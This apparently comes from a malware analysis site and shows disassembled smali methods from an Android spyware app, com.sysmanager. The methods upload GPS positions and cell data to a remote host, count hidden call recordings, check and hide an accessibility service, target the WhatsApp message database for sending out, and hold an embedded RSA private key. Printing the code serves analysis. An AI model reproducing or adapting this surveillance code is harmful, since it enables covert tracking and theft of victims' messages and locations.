51invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
52goto_3f: return-void
53cond_40:
54iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
56const-string v4, "IsAccessibility"
57const/4 v5, 0x0
59invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
60goto/16 :goto_3f
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemCall.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.list
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • /.cachel1
  • Registrazioni
  • 0
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6try_start_0: new-instance v0, Ljava/io/File;
7new-instance v3, Ljava/lang/StringBuilder;
9invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
11invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getFilesDir()Ljava/io/File;
12move-result-object v4
14invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
15move-result-object v3
17const-string v4, "/.cachel1"
19invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v3
22invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
23move-result-object v3
25invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
27invoke-virtual {v0}, Ljava/io/File;->exists()Z
28move-result v3
29if-eqz v3, :cond_33
31invoke-virtual {v0}, Ljava/io/File;->list()[Ljava/lang/String;
32move-result-object v3
33array-length v3, v3
35invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
36move-result-object v2
37goto_2b:
38iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
40const-string v4, "Registrazioni"
42invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
43goto_32: return-void
44cond_33:
45const-string v2, "0"
46try_end_35: goto/16 :goto_2b
47catch_36: move-exception v1
49invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
50move-result-object v3
52invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
53move-result-object v4
55invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
56goto/16 :goto_32
Cross References
APIs
  • com.sysmanager.AccessibilityDialog.getApplicationContext
  • android.content.Context.getSystemService
  • android.view.accessibility.AccessibilityManager.getEnabledAccessibilityServiceList
  • java.util.List.size
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.accessibilityservice.AccessibilityServiceInfo.toString
  • com.sysmanager.AccessibilityDialog.getPackageName
  • java.lang.String.contains
  • com.sysmanager.AccessibilityDialog.moveTaskToBack
  • android.app.AlertDialog.show
  • com.sysmanager.AccessibilityDialog.finish
Strings
  • accessibility
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/sysmanager/AccessibilityDialog;->getApplicationContext()Landroid/content/Context;
3move-result-object v4
5const-string v5, "accessibility"
7invoke-virtual {v4, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
8move-result-object v0
9check-cast v0, Landroid/view/accessibility/AccessibilityManager;
10const/4 v4, -0x1
12invoke-virtual {v0, v4}, Landroid/view/accessibility/AccessibilityManager;->getEnabledAccessibilityServiceList(I)Ljava/util/List;
13move-result-object v2
14const/4 v1, 0x0
15if-eqz v2, :cond_3d
17invoke-interface {v2}, Ljava/util/List;->size()I
18move-result v4
19if-lez v4, :cond_3d
21invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
22move-result-object v4
23cond_1e:
24invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
25move-result v5
26if-eqz v5, :cond_3d
28invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
29move-result-object v3
30check-cast v3, Landroid/accessibilityservice/AccessibilityServiceInfo;
32invoke-virtual {v3}, Landroid/accessibilityservice/AccessibilityServiceInfo;->toString()Ljava/lang/String;
33move-result-object v5
35invoke-virtual {p0}, Lcom/sysmanager/AccessibilityDialog;->getPackageName()Ljava/lang/String;
36move-result-object v6
38invoke-virtual {v5, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
39move-result v5
40if-eqz v5, :cond_1e
41const/4 v1, 0x1
42const/4 v4, 0x1
44invoke-virtual {p0, v4}, Lcom/sysmanager/AccessibilityDialog;->moveTaskToBack(Z)Z
45cond_3d: if-nez v1, :cond_45
47iget-object v4, p0, Lcom/sysmanager/AccessibilityDialog;->mDialog:Landroid/app/AlertDialog;
49invoke-virtual {v4}, Landroid/app/AlertDialog;->show()V
50goto_44: return-void
51cond_45:
52invoke-virtual {p0}, Lcom/sysmanager/AccessibilityDialog;->finish()V
53goto/16 :goto_44
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.Exception.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.Exception.getStackTrace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.Exception.getStackTrace
  • java.lang.StackTraceElement.toString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • \n
Position Instruction Meta Information
0.param p0, "e" # Ljava/lang/Exception;
1.prologue
2new-instance v2, Ljava/lang/StringBuilder;
4invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
6invoke-virtual {p0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
7move-result-object v3
9invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
10move-result-object v2
12const-string v3, "\n"
14invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v2
17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v0
19const/4 v1, 0x0
20goto_18:
21invoke-virtual {p0}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
22move-result-object v2
23array-length v2, v2
24if-ge v1, v2, :cond_43
25new-instance v2, Ljava/lang/StringBuilder;
27invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
29invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v2
32invoke-virtual {p0}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
33move-result-object v3
34aget-object v3, v3, v1
36invoke-virtual {v3}, Ljava/lang/StackTraceElement;->toString()Ljava/lang/String;
37move-result-object v3
39invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v2
42const-string v3, "\n"
44invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
45move-result-object v2
47invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
48move-result-object v0
49add-int/lit8 v1, v1, 0x1
50goto/16 :goto_18
51cond_43: return-object v0
Cross References
APIs
  • android.support.v4.content.LocalBroadcastManager.getInstance
  • android.content.Intent.<init>
  • android.support.v4.content.LocalBroadcastManager.sendBroadcast
  • android.content.Intent.<init>
  • android.content.Intent.addCategory
  • android.content.Intent.setFlags
  • com.sysmanager.system.AccessibilityService.startActivity
  • com.sysmanager.system.AccessibilityService.getApplicationContext
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • com.sysmanager.system.AccessibilityService.startActivity
Strings
  • finish_activity
  • android.intent.action.MAIN
  • android.intent.category.HOME
Position Instruction Meta Information
0.prologue
1const/high16 v5, 0x10000000
3invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
4move-result-object v2
5new-instance v3, Landroid/content/Intent;
7const-string v4, "finish_activity"
9invoke-direct {v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
11invoke-virtual {v2, v3}, Landroid/support/v4/content/LocalBroadcastManager;->sendBroadcast(Landroid/content/Intent;)Z
12new-instance v0, Landroid/content/Intent;
14const-string v2, "android.intent.action.MAIN"
16invoke-direct {v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
18const-string v2, "android.intent.category.HOME"
20invoke-virtual {v0, v2}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
22invoke-virtual {v0, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
24invoke-virtual {p0, v0}, Lcom/sysmanager/system/AccessibilityService;->startActivity(Landroid/content/Intent;)V
25new-instance v1, Landroid/content/Intent;
27invoke-virtual {p0}, Lcom/sysmanager/system/AccessibilityService;->getApplicationContext()Landroid/content/Context;
28move-result-object v2
29const-class v3, Lcom/sysmanager/CrashDialog;
31invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
33invoke-virtual {v1, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
35invoke-virtual {p0, v1}, Lcom/sysmanager/system/AccessibilityService;->startActivity(Landroid/content/Intent;)V
36return-void
Cross References
APIs
  • java.lang.System.arraycopy
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.System.arraycopy
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.String.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKFZupYaf4A0Pw\nNpQ9qM5t5BwkJ3FlNmzUa9e/q5yaBgyU8FaqYfDz3tkvBOpPklnJpadWfZVI120G\ny5vNizskBegaNxbazjqd9OsHJfKuOIl7DmDOPQ/W/bnnEeUa/2EvvLulbgBUL7+S\nLvmCzfDS8JKszKftRu7Q3aFtQNgOURYX17tBA5jiZ1SuDBr+jAMrY8X4gGtL4gR0\nipa5g/KySFKABveB0XPJlmPWdm2N94bwgyfM/UHZbyyprIZQh6CDM3QINNBt18KU\nbTKgxqSgQIc2cvcnWy5W3rFdQG1fA6RiQhizdUe8LF2HDeZfbg0b3o6bSUVdm5Bi\nLetWd4fdAgMBAAECggEAHMKMf8OtMwfL8HDkEg5nKo6PTrnqUnw3atfaQaX7yJPZ\n0IyP2PnNX/e0MxPhAOgULTWNJisDRvWZx6DMkKkjBpJsoOZ8MzGsd/R2SnMlIZRc\nRI4cSt231mIPxgnu8DOuMiwLDJUmKNUOz5At5GbIwkyIo10Q/RzeOg2Avtq+pPK2\nk26YCLjtmQ2+xs+arwlFI6OdOgVsxF8KAkcBrdOzduQRMEeCUKEvRXJrvXTLP/AI\nIoZobEVHfer4iVubweAtyc+Hm0/rgVuEmTG+I8G6HfjhMUIJjdYmblEM1W2fwRkL\naTJ82N/wWFmGKAFAIGPj3XGL6uxdrIodri97xX6GRQKBgQDkWO80JyTmCG9PJjZa\npPmDiOxvnPaMUeNVzHgKpwv3ID3dKWk7NxiQWTIe5DfajVNTs5xd0/PcTcEFiF84\nCTYVtyGZqZR8vP3LhANQ7GnVk+OvKkvLMSM/NsDToaPTf7jZHZrHQiXc84ga3lrM\nzlHQTm8V+TBvNoj3xwcTplMtrwKBgQDijnyeuXLuocZm19VFbHwRxBiCzfm5YSWQ\ngsVy/W8G49Gj9izNKwjRQGwkO4qOXw1SJ9Wp0EIi9AydFtArvJomNBX8b5oE4d8Z\nU3w1DEeRcAYGIKZW+ZpFIdUnhnYddjPOhxsk4shl+PrQoPnM3J35MN2GSfvV/ZQH\n83jpLCryMwKBgQCtArEia7IqVCO57XLrVOnz/i9eFag8AuNjI4ukTpLjR9t3kSO5\nCPKkk+BExZeIEOIcng6QjMHMnmDsBzpV46zF4T4lBfaKWEtXAovcqXM6rlWpZzuM\nFYvmHl8VOfg9jB0K68JUzMqRUTdDXEuht4UHdhX2qRpIeSJn0bWL7s5A4wKBgHU3\nq5qj8Kcu5GwJd7r3qim2/8eNsosLjFf8kRQxs+QosyrWD9AHWASMBGeqtsF6xHWh\nTpcRvWZARtZwGzzF1Cu3/zggtduY0clUvIrl05GYGEXLVsThV8Q1AQf2Nd6AbcWJ\nea3X+D9qVrriztwDuWhYtATq+nV5QcHrYr+hroapAoGBAL3UOqYiWi1L5y+kJUa2\nN9nKzpfAPsUH2coGGBS0JG2R/m3Yh2/3c2l4whtQOba1k6XR/zVDLBWusBEBMXiM\nwXqly3lmyrCCVvDPBKUwrJF24uA6EKwZWOts/mIMTqvE8bvjls7dM62sMf0Dagv9\nhX91lufGlLdeegqRSQpqRHj/\n
Position Instruction Meta Information
0.param p0, "encryptedData" # [B
1.param p1, "offset" # I
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/lang/Exception;
5}
6.end annotation
7.prologue
8const/4 v3, 0x0
9const/16 v2, 0x100
10array-length v1, p0
11sub-int/2addr v1, p1
12if-ge v1, v2, :cond_39
13array-length v1, p0
14sub-int/2addr v1, p1
15if-eqz v1, :cond_38
16array-length v1, p0
17sub-int/2addr v1, p1
18new-array v0, v1, [B
19array-length v1, p0
20sub-int/2addr v1, p1
22invoke-static {p0, p1, v0, v3, v1}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
23new-instance v1, Ljava/lang/StringBuilder;
25invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
27sget-object v2, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
29invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v1
31new-instance v2, Ljava/lang/String;
33const-string v3, "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKFZupYaf4A0Pw\nNpQ9qM5t5BwkJ3FlNmzUa9e/q5yaBgyU8FaqYfDz3tkvBOpPklnJpadWfZVI120G\ny5vNizskBegaNxbazjqd9OsHJfKuOIl7DmDOPQ/W/bnnEeUa/2EvvLulbgBUL7+S\nLvmCzfDS8JKszKftRu7Q3aFtQNgOURYX17tBA5jiZ1SuDBr+jAMrY8X4gGtL4gR0\nipa5g/KySFKABveB0XPJlmPWdm2N94bwgyfM/UHZbyyprIZQh6CDM3QINNBt18KU\nbTKgxqSgQIc2cvcnWy5W3rFdQG1fA6RiQhizdUe8LF2HDeZfbg0b3o6bSUVdm5Bi\nLetWd4fdAgMBAAECggEAHMKMf8OtMwfL8HDkEg5nKo6PTrnqUnw3atfaQaX7yJPZ\n0IyP2PnNX/e0MxPhAOgULTWNJisDRvWZx6DMkKkjBpJsoOZ8MzGsd/R2SnMlIZRc\nRI4cSt231mIPxgnu8DOuMiwLDJUmKNUOz5At5GbIwkyIo10Q/RzeOg2Avtq+pPK2\nk26YCLjtmQ2+xs+arwlFI6OdOgVsxF8KAkcBrdOzduQRMEeCUKEvRXJrvXTLP/AI\nIoZobEVHfer4iVubweAtyc+Hm0/rgVuEmTG+I8G6HfjhMUIJjdYmblEM1W2fwRkL\naTJ82N/wWFmGKAFAIGPj3XGL6uxdrIodri97xX6GRQKBgQDkWO80JyTmCG9PJjZa\npPmDiOxvnPaMUeNVzHgKpwv3ID3dKWk7NxiQWTIe5DfajVNTs5xd0/PcTcEFiF84\nCTYVtyGZqZR8vP3LhANQ7GnVk+OvKkvLMSM/NsDToaPTf7jZHZrHQiXc84ga3lrM\nzlHQTm8V+TBvNoj3xwcTplMtrwKBgQDijnyeuXLuocZm19VFbHwRxBiCzfm5YSWQ\ngsVy/W8G49Gj9izNKwjRQGwkO4qOXw1SJ9Wp0EIi9AydFtArvJomNBX8b5oE4d8Z\nU3w1DEeRcAYGIKZW+ZpFIdUnhnYddjPOhxsk4shl+PrQoPnM3J35MN2GSfvV/ZQH\n83jpLCryMwKBgQCtArEia7IqVCO57XLrVOnz/i9eFag8AuNjI4ukTpLjR9t3kSO5\nCPKkk+BExZeIEOIcng6QjMHMnmDsBzpV46zF4T4lBfaKWEtXAovcqXM6rlWpZzuM\nFYvmHl8VOfg9jB0K68JUzMqRUTdDXEuht4UHdhX2qRpIeSJn0bWL7s5A4wKBgHU3\nq5qj8Kcu5GwJd7r3qim2/8eNsosLjFf8kRQxs+QosyrWD9AHWASMBGeqtsF6xHWh\nTpcRvWZARtZwGzzF1Cu3/zggtduY0clUvIrl05GYGEXLVsThV8Q1AQf2Nd6AbcWJ\nea3X+D9qVrriztwDuWhYtATq+nV5QcHrYr+hroapAoGBAL3UOqYiWi1L5y+kJUa2\nN9nKzpfAPsUH2coGGBS0JG2R/m3Yh2/3c2l4whtQOba1k6XR/zVDLBWusBEBMXiM\nwXqly3lmyrCCVvDPBKUwrJF24uA6EKwZWOts/mIMTqvE8bvjls7dM62sMf0Dagv9\nhX91lufGlLdeegqRSQpqRHj/\n"
35invoke-static {v3}, Lcom/sysmanager/cryptoutils/rsaUtils/PrivateKeyReader;->get(Ljava/lang/String;)Ljava/security/PrivateKey;
36move-result-object v3
38invoke-static {v0, v3}, Lcom/sysmanager/cryptoutils/RSAUtils;->rsaDecrypt([BLjava/security/PrivateKey;)[B
39move-result-object v3
41invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v1
46invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
47move-result-object v1
48sput-object v1, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
49goto_38: return-void
50cond_39: new-array v0, v2, [B
52invoke-static {p0, p1, v0, v3, v2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
53new-instance v1, Ljava/lang/StringBuilder;
55invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
57sget-object v2, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
59invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v1
61new-instance v2, Ljava/lang/String;
63const-string v3, "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKFZupYaf4A0Pw\nNpQ9qM5t5BwkJ3FlNmzUa9e/q5yaBgyU8FaqYfDz3tkvBOpPklnJpadWfZVI120G\ny5vNizskBegaNxbazjqd9OsHJfKuOIl7DmDOPQ/W/bnnEeUa/2EvvLulbgBUL7+S\nLvmCzfDS8JKszKftRu7Q3aFtQNgOURYX17tBA5jiZ1SuDBr+jAMrY8X4gGtL4gR0\nipa5g/KySFKABveB0XPJlmPWdm2N94bwgyfM/UHZbyyprIZQh6CDM3QINNBt18KU\nbTKgxqSgQIc2cvcnWy5W3rFdQG1fA6RiQhizdUe8LF2HDeZfbg0b3o6bSUVdm5Bi\nLetWd4fdAgMBAAECggEAHMKMf8OtMwfL8HDkEg5nKo6PTrnqUnw3atfaQaX7yJPZ\n0IyP2PnNX/e0MxPhAOgULTWNJisDRvWZx6DMkKkjBpJsoOZ8MzGsd/R2SnMlIZRc\nRI4cSt231mIPxgnu8DOuMiwLDJUmKNUOz5At5GbIwkyIo10Q/RzeOg2Avtq+pPK2\nk26YCLjtmQ2+xs+arwlFI6OdOgVsxF8KAkcBrdOzduQRMEeCUKEvRXJrvXTLP/AI\nIoZobEVHfer4iVubweAtyc+Hm0/rgVuEmTG+I8G6HfjhMUIJjdYmblEM1W2fwRkL\naTJ82N/wWFmGKAFAIGPj3XGL6uxdrIodri97xX6GRQKBgQDkWO80JyTmCG9PJjZa\npPmDiOxvnPaMUeNVzHgKpwv3ID3dKWk7NxiQWTIe5DfajVNTs5xd0/PcTcEFiF84\nCTYVtyGZqZR8vP3LhANQ7GnVk+OvKkvLMSM/NsDToaPTf7jZHZrHQiXc84ga3lrM\nzlHQTm8V+TBvNoj3xwcTplMtrwKBgQDijnyeuXLuocZm19VFbHwRxBiCzfm5YSWQ\ngsVy/W8G49Gj9izNKwjRQGwkO4qOXw1SJ9Wp0EIi9AydFtArvJomNBX8b5oE4d8Z\nU3w1DEeRcAYGIKZW+ZpFIdUnhnYddjPOhxsk4shl+PrQoPnM3J35MN2GSfvV/ZQH\n83jpLCryMwKBgQCtArEia7IqVCO57XLrVOnz/i9eFag8AuNjI4ukTpLjR9t3kSO5\nCPKkk+BExZeIEOIcng6QjMHMnmDsBzpV46zF4T4lBfaKWEtXAovcqXM6rlWpZzuM\nFYvmHl8VOfg9jB0K68JUzMqRUTdDXEuht4UHdhX2qRpIeSJn0bWL7s5A4wKBgHU3\nq5qj8Kcu5GwJd7r3qim2/8eNsosLjFf8kRQxs+QosyrWD9AHWASMBGeqtsF6xHWh\nTpcRvWZARtZwGzzF1Cu3/zggtduY0clUvIrl05GYGEXLVsThV8Q1AQf2Nd6AbcWJ\nea3X+D9qVrriztwDuWhYtATq+nV5QcHrYr+hroapAoGBAL3UOqYiWi1L5y+kJUa2\nN9nKzpfAPsUH2coGGBS0JG2R/m3Yh2/3c2l4whtQOba1k6XR/zVDLBWusBEBMXiM\nwXqly3lmyrCCVvDPBKUwrJF24uA6EKwZWOts/mIMTqvE8bvjls7dM62sMf0Dagv9\nhX91lufGlLdeegqRSQpqRHj/\n"
65invoke-static {v3}, Lcom/sysmanager/cryptoutils/rsaUtils/PrivateKeyReader;->get(Ljava/lang/String;)Ljava/security/PrivateKey;
66move-result-object v3
68invoke-static {v0, v3}, Lcom/sysmanager/cryptoutils/RSAUtils;->rsaDecrypt([BLjava/security/PrivateKey;)[B
69move-result-object v3
71invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
73invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
74move-result-object v1
76invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
77move-result-object v1
78sput-object v1, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
79add-int/lit16 v1, p1, 0x100
81invoke-static {p0, v1}, Lcom/sysmanager/network/HTTPUtility;->splitBytes([BI)V
82goto/16 :goto_38
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.isEmpty
  • java.lang.System.setProperty
  • java.lang.String.equals
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.insertPosition
Strings
  • register_gps.php
  • http.keepAlive
  • false
  • OK
Position Instruction Meta Information
0.prologue
2iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$1;->val$context:Landroid/content/Context;
4invoke-static {v4}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v2
6new-instance v4, Ljava/lang/StringBuilder;
8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
10invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v4
13const-string v5, "register_gps.php"
15invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v4
18invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v3
21invoke-virtual {v2}, Ljava/lang/String;->isEmpty()Z
22move-result v4
23if-nez v4, :cond_45
24try_start_1f:
25const-string v4, "http.keepAlive"
27const-string v5, "false"
29invoke-static {v4, v5}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
31iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$1;->val$pos2send:Lcom/sysmanager/storage/PositionVar;
33invoke-virtual {v4}, Lcom/sysmanager/storage/PositionVar;->toJSON()Lorg/json/JSONObject;
34move-result-object v4
36iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$1;->val$context:Landroid/content/Context;
38invoke-static {v3, v4, v5}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPost(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
39move-result-object v4
41const-string v5, "OK"
43invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
44move-result v0
45if-nez v0, :cond_45
47iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$1;->val$context:Landroid/content/Context;
49invoke-static {v4}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
50move-result-object v4
52iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$1;->val$pos2send:Lcom/sysmanager/storage/PositionVar;
54invoke-virtual {v4, v5}, Lcom/sysmanager/storage/FileSend;->insertPosition(Lcom/sysmanager/storage/PositionVar;)J
55try_end_45: return-void
56catch_46: move-exception v1
58iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$1;->val$context:Landroid/content/Context;
60invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
61move-result-object v5
63invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
64goto/16 :goto_45
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.isEmpty
  • java.lang.System.setProperty
  • java.lang.String.equals
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.insertCell
Strings
  • upload_cella.php
  • http.keepAlive
  • false
  • OK
Position Instruction Meta Information
0.prologue
2iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$4;->val$context:Landroid/content/Context;
4invoke-static {v4}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v2
6new-instance v4, Ljava/lang/StringBuilder;
8invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
10invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v4
13const-string v5, "upload_cella.php"
15invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v4
18invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v3
21invoke-virtual {v2}, Ljava/lang/String;->isEmpty()Z
22move-result v4
23if-nez v4, :cond_45
24try_start_1f:
25const-string v4, "http.keepAlive"
27const-string v5, "false"
29invoke-static {v4, v5}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
31iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$4;->val$cell:Lcom/sysmanager/storage/Cell;
33invoke-virtual {v4}, Lcom/sysmanager/storage/Cell;->toJSON()Lorg/json/JSONObject;
34move-result-object v4
36iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$4;->val$context:Landroid/content/Context;
38invoke-static {v3, v4, v5}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPost(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
39move-result-object v4
41const-string v5, "OK"
43invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
44move-result v0
45if-nez v0, :cond_45
47iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$4;->val$context:Landroid/content/Context;
49invoke-static {v4}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
50move-result-object v4
52iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$4;->val$cell:Lcom/sysmanager/storage/Cell;
54invoke-virtual {v4, v5}, Lcom/sysmanager/storage/FileSend;->insertCell(Lcom/sysmanager/storage/Cell;)J
55try_end_45: return-void
56catch_46: move-exception v1
58iget-object v4, p0, Lcom/sysmanager/network/NetworkServices$4;->val$context:Landroid/content/Context;
60invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
61move-result-object v5
63invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
64goto/16 :goto_45
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.list
  • java.lang.String.contains
  • java.lang.String.equals
  • com.sysmanager.system.AndroidAccessibility.sendFile
  • java.lang.String.equals
  • com.sysmanager.system.AndroidAccessibility.sendFile
  • com.sysmanager.system.AndroidAccessibility.stopSelf
Strings
  • /mnt/sdcard/WhatsApp/Databases/
  • msgstore.db
  • last
  • all
Position Instruction Meta Information
0.prologue
1new-instance v2, Ljava/io/File;
